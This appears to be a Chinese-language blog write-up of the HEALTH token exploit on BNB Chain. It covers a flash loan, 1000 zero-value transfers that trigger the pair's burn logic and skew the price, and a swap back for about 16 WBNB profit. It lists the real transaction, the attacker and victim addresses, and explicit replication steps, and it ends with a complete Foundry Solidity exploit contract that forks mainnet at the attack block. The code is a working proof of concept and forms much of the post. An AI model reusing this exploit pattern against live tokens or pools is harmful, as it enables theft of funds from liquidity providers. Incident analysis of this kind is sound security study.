价格操纵——HEALTH

攻击者通过操纵价格，获得了16个WBNB的利润。

事件基本情况

tx: 0xae8ca9dc8258ae32899fe641985739c3fa53ab1f603973ac74b424e165c66ccf
区块链：bsc
发送者: 0xde78112ff006f166e4ccfe1dfe4181c9619d3b5d
受害者: 0x32B166e082993Af6598a89397E82e123ca44e74E
攻击合约: 0x80e5fc0d72e4814cb52c16a18c2f2b87ef1ea2d4
调用函数: 0x293e15df
区块高度: 22337426
漏洞点：不恰当的函数逻辑。

hacker攻击流程

1. 调用闪电贷40个WBNB
2. 在回调函数中
   1. 授权40个WBNB给PancakeSwap: Router v2合约。
   2. 调用PancakeSwap的swapExactTokensForTokensSupportingFeeOnTransferTokens（支持收税的根据精确的token交换尽量多的token方法）用WBNB换取Health代币30个
   3. 循环执行HEALTH代币的transfer方法，发送HEALTH代币给sender
   4. 调用PancakeSwap的swapExactTokensForTokensSupportingFeeOnTransferTokens用HEALTH换取WBNB代币56个。
   5. 还钱40个WBNB给闪电贷，攻击者还有16个WBNB
   6. 将钱发送给sender

因为在每次调用transfer的时候uniswapV2Pair按照总数的1/1000的token进行销毁，攻击者重复调用transfer，造成了价格偏差，然后获利。

流程图如下

漏洞方法如图

攻击点复刻方式

1. 创建攻击合约
2. 在攻击函数中执行闪电贷，
3. 在回调函数中循环执行transfer发送0个HEAlTH给sender，造成价格倾斜，然后用HEALTH兑换WBNB, 最后发送WBNB给sender

攻击模拟结果图

事件总结

 在编写智能合约的时候一定要对业务逻辑进行反复验证，防止出现被闪电贷进行放大攻击。

攻击代码

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./UniversalInterface.sol";

// 定义常量
address constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address constant HEALTH = 0x32B166e082993Af6598a89397E82e123ca44e74E;
address constant ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
address constant FLOAN = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
uint256 constant BlockNumber = 22337425;

// 定义调用的接口
interface DPPAdvanced {
    function flashLoan(
        uint256 baseAmount,
        uint256 quoteAmount,
        address assetTo,
        bytes calldata data
    ) external;
}

// 攻击合约
contract Exploit is Test{

// 设置攻击环境
    function setUp() public {
        vm.createSelectFork("bsc", BlockNumber);
        vm.label(HEALTH, "HEALTH");
        // vm.label(victim, "victim");
    }

// 攻击函数
    function testAttack() public {
        IERC20(WBNB).approve(address(ROUTER), type(uint).max);
        IERC20(HEALTH).approve(address(ROUTER), type(uint).max);
        console.log("WBNB owned before attack:", IERC20(WBNB).balanceOf(address(this)));
        // 调用闪电贷 40000000000000000000
        DPPAdvanced(FLOAN).flashLoan(40000000000000000000,0,address(this), "0x61");
        console.log("WBNB owned after attack:", IERC20(WBNB).balanceOf(address(this)));

    }

// 回调函数
    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) public {

        // 查看合约拥有多少WBNB
        uint256 loanWBNB = IERC20(WBNB).balanceOf(address(this));
        console.log("flashloan money :", loanWBNB);

        // 将WBNB兑换成HEALTH
        WBNBToHEALTH();

        // 循环执行transfer
        for(int i = 0; i < 1000; i++){
            IERC20(HEALTH).transfer(address(this), 0);
        }

        // 将HEALTH兑换成WBNB
        HEALTHTOWBNB();

        // 归还闪电贷
        IERC20(WBNB).transfer(FLOAN, loanWBNB);
    }

    function WBNBToHEALTH() internal {
        address[] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(HEALTH);
        IPancakeRouter02(ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
            IERC20(WBNB).balanceOf(address(this)),
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function HEALTHTOWBNB() internal {
        address[] memory path = new address[](2);
        path[0] = address(HEALTH);
        path[1] = address(WBNB);
        IPancakeRouter02(ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
            IERC20(HEALTH).balanceOf(address(this)),
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

感觉对有帮助的可以点个赞，谢谢♥；如果喜欢的话可以订阅，我会持续更新合约漏洞事件